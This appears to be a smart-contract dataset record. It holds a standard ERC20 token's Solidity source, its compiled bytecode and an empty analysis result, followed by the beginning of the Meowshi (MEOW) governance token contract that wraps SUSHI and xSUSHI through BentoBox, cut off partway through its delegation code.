function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint256 mint_amount) {
_name = name_;
_symbol = symbol_;
_mint(msg.sender, mint_amount*10**18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b4114610226578063a457c2d714610244578063a9059cbb14610274578063dd62ed3e146102a4576100cf565b806342966c68146101be57806370a08231146101da57806379cc67901461020a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102d4565b6040516100e9919061119c565b60405180910390f35b61010c60048036038101906101079190610f58565b610366565b6040516101199190611181565b60405180910390f35b61012a610384565b60405161013791906112fe565b60405180910390f35b61015a60048036038101906101559190610f09565b61038e565b6040516101679190611181565b60405180910390f35b61017861048f565b6040516101859190611319565b60405180910390f35b6101a860048036038101906101a39190610f58565b610498565b6040516101b59190611181565b60405180910390f35b6101d860048036038101906101d39190610f94565b610544565b005b6101f460048036038101906101ef9190610ea4565b610558565b60405161020191906112fe565b60405180910390f35b610224600480360381019061021f9190610f58565b6105a0565b005b61022e610624565b60405161023b919061119c565b60405180910390f35b61025e60048036038101906102599190610f58565b6106b6565b60405161026b9190611181565b60405180910390f35b61028e60048036038101906102899190610f58565b6107aa565b60405161029b9190611181565b60405180910390f35b6102be60048036038101906102b99190610ecd565b6107c8565b6040516102cb91906112fe565b60405180910390f35b6060600380546102e390611462565b80601f016020809104026020016040519081016040528092919081815260200182805461030f90611462565b801561035c5780601f106103315761010080835404028352916020019161035c565b820191906000526020600020905b81548152906001019060200180831161033f57829003601f168201915b5050505050905090565b600061037a61037361084f565b8484610857565b6001905092915050565b6000600254905090565b600061039b848484610a22565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103e661084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045d9061123e565b60405180910390fd5b6104838561047261084f565b858461047e91906113a6565b610857565b60019150509392505050565b60006012905090565b600061053a6104a561084f565b8484600160006104b361084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105359190611350565b610857565b6001905092915050565b61055561054f61084f565b82610ca1565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006105b3836105ae61084f565b6107c8565b9050818110156105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ef9061125e565b60405180910390fd5b6106158361060461084f565b848461061091906113a6565b610857565b61061f8383610ca1565b505050565b60606004805461063390611462565b80601f016020809104026020016040519081016040528092919081815260200182805461065f90611462565b80156106ac5780601f10610681576101008083540402835291602001916106ac565b820191906000526020600020905b81548152906001019060200180831161068f57829003601f168201915b5050505050905090565b600080600160006106c561084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610782576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610779906112de565b60405180910390fd5b61079f61078d61084f565b85858461079a91906113a6565b610857565b600191505092915050565b60006107be6107b761084f565b8484610a22565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be906112be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e906111fe565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a1591906112fe565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a899061129e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af9906111be565b60405180910390fd5b610b0d838383610e75565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a9061121e565b60405180910390fd5b8181610b9f91906113a6565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2f9190611350565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c9391906112fe565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d089061127e565b60405180910390fd5b610d1d82600083610e75565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9a906111de565b60405180910390fd5b8181610daf91906113a6565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610e0391906113a6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6891906112fe565b60405180910390a3505050565b505050565b600081359050610e8981611819565b92915050565b600081359050610e9e81611830565b92915050565b600060208284031215610eb657600080fd5b6000610ec484828501610e7a565b91505092915050565b60008060408385031215610ee057600080fd5b6000610eee85828601610e7a565b9250506020610eff85828601610e7a565b9150509250929050565b600080600060608486031215610f1e57600080fd5b6000610f2c86828701610e7a565b9350506020610f3d86828701610e7a565b9250506040610f4e86828701610e8f565b9150509250925092565b60008060408385031215610f6b57600080fd5b6000610f7985828601610e7a565b9250506020610f8a85828601610e8f565b9150509250929050565b600060208284031215610fa657600080fd5b6000610fb484828501610e8f565b91505092915050565b610fc6816113ec565b82525050565b6000610fd782611334565b610fe1818561133f565b9350610ff181856020860161142f565b610ffa816114f2565b840191505092915050565b600061101260238361133f565b915061101d82611503565b604082019050919050565b600061103560228361133f565b915061104082611552565b604082019050919050565b600061105860228361133f565b9150611063826115a1565b604082019050919050565b600061107b60268361133f565b9150611086826115f0565b604082019050919050565b600061109e60288361133f565b91506110a98261163f565b604082019050919050565b60006110c160248361133f565b91506110cc8261168e565b604082019050919050565b60006110e460218361133f565b91506110ef826116dd565b604082019050919050565b600061110760258361133f565b91506111128261172c565b604082019050919050565b600061112a60248361133f565b91506111358261177b565b604082019050919050565b600061114d60258361133f565b9150611158826117ca565b604082019050919050565b61116c81611418565b82525050565b61117b81611422565b82525050565b60006020820190506111966000830184610fbd565b92915050565b600060208201905081810360008301526111b68184610fcc565b905092915050565b600060208201905081810360008301526111d781611005565b9050919050565b600060208201905081810360008301526111f781611028565b9050919050565b600060208201905081810360008301526112178161104b565b9050919050565b600060208201905081810360008301526112378161106e565b9050919050565b6000602082019050818103600083015261125781611091565b9050919050565b60006020820190508181036000830152611277816110b4565b9050919050565b60006020820190508181036000830152611297816110d7565b9050919050565b600060208201905081810360008301526112b7816110fa565b9050919050565b600060208201905081810360008301526112d78161111d565b9050919050565b600060208201905081810360008301526112f781611140565b9050919050565b60006020820190506113136000830184611163565b92915050565b600060208201905061132e6000830184611172565b92915050565b600081519050919050565b600082825260208201905092915050565b600061135b82611418565b915061136683611418565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561139b5761139a611494565b5b828201905092915050565b60006113b182611418565b91506113bc83611418565b9250828210156113cf576113ce611494565b5b828203905092915050565b60006113e5826113f8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561144d578082015181840152602081019050611432565b8381111561145c576000848401525b50505050565b6000600282049050600182168061147a57607f821691505b6020821081141561148e5761148d6114c3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611822816113da565b811461182d57600080fd5b50565b61183981611418565b811461184457600080fd5b5056fea26469706673582212208c6405aad283adefa6da2a85ccb48cd964b9d5bf75b954f1fb9ec3a590b2f7b664736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 5,928 |
0x10f5ffc9a78fa6bf629aeb521dfb00c732bf69ef
|
/**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
// SPDX-License-Identifier: UNLICENSED
// @title Meowshi (MEOW) 🐈 🍣 🍱
// @author Gatoshi Nyakamoto
pragma solidity 0.8.4;
/// @notice Interface for depositing into & withdrawing from BentoBox vault.
interface IERC20{} interface IBentoBoxBasic {
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into & withdrawing from SushiBar.
interface ISushiBar {
function balanceOf(address account) external view returns (uint256);
function enter(uint256 amount) external;
function leave(uint256 share) external;
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields.
// ៱˳_˳៱ ∫
contract Meowshi {
IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet)
ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet)
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet)
string constant public name = "Meowshi";
string constant public symbol = "MEOW";
uint8 constant public decimals = 18;
uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW
uint256 public totalSupply;
/// @notice owner -> spender -> allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner -> balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner -> nonce mapping used in {permit}.
mapping(address => uint256) public nonces;
/// @notice A record of each account's delegate.
mapping(address => address) public delegates;
/// @notice A record of voting checkpoints for each account, by index.
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account.
mapping(address => uint32) public numCheckpoints;
/// @notice The ERC-712 typehash for this contract's domain.
bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The ERC-712 typehash for the delegation struct used by the contract.
bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The ERC-712 typehash for the {permit} struct used by the contract.
bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice Events that are emitted when an ERC-20 approval or transfer occurs.
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice An event that's emitted when an account changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event that's emitted when a delegate account's vote balance changes.
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice A checkpoint for marking number of votes from a given block.
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
constructor() {
sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract
ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract
}
/// @notice Enables calling multiple methods in a single call to this contract.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
unchecked {for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {result := add(result, 0x04)}
revert(abi.decode(result, (string)));
}
results[i] = result;}}
}
/*************
MEOW FUNCTIONS
*************/
// **** xSUSHI
/// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`.
function meow(address to, uint256 amount) external returns (uint256 shares) {
ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim
(, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`.
function unmeow(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);}
}
// **** SUSHI
/// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`.
function meowSushi(address to, uint256 amount) external returns (uint256 shares) {
sushiToken.transferFrom(msg.sender, address(this), amount);
ISushiBar(sushiBar).enter(amount);
(, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), ISushiBar(sushiBar).balanceOf(address(this)), 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`.
function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);}
ISushiBar(sushiBar).leave(amountOut);
sushiToken.transfer(to, sushiToken.balanceOf(address(this)));
}
// **** SUPPLY MGMT
/// @notice Internal mint function for *meow*.
function meowMint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
_moveDelegates(address(0), delegates[to], amount);
emit Transfer(address(0), to, amount);
}
/// @notice Internal burn function for *unmeow*.
function meowBurn(uint256 amount) private {
balanceOf[msg.sender] -= amount;
unchecked {totalSupply -= amount;}
_moveDelegates(delegates[msg.sender], address(0), amount);
emit Transfer(msg.sender, address(0), amount);
}
/**************
TOKEN FUNCTIONS
**************/
/// @notice Approves `amount` from msg.sender to be spent by `spender`.
/// @param spender Address of the party that can draw tokens from msg.sender's account.
/// @param amount The maximum collective `amount` that `spender` can draw.
/// @return (bool) Returns 'true' if succeeded.
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @notice Triggers an approval from owner to spends.
/// @param owner The address to approve from.
/// @param spender The address to be approved.
/// @param amount The number of tokens that are approved (2^256-1 means infinite).
/// @param deadline The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
unchecked {bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::permit: invalid signature');
require(signatory == owner, 'Meowshi::permit: unauthorized');}
require(block.timestamp <= deadline, 'Meowshi::permit: signature expired');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[msg.sender], delegates[to], amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`.
/// @param from Address to draw tokens `from`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max) {allowance[from][msg.sender] -= amount;}
balanceOf[from] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[from], delegates[to], amount);
emit Transfer(from, to, amount);
return true;
}
/*******************
DELEGATION FUNCTIONS
*******************/
/// @notice Delegate votes from `msg.sender` to `delegatee`.
/// @param delegatee The address to delegate votes to.
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/// @notice Delegates votes from signatory to `delegatee`.
/// @param delegatee The address to delegate votes to.
/// @param nonce The contract state required to match the signature.
/// @param expiry The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature');
unchecked {require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');}
require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
function _delegate(address delegator, address delegatee) private {
address currentDelegate = delegates[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, balanceOf[delegator]);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) private {
if (srcRep != dstRep && amount > 0) {
unchecked {if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
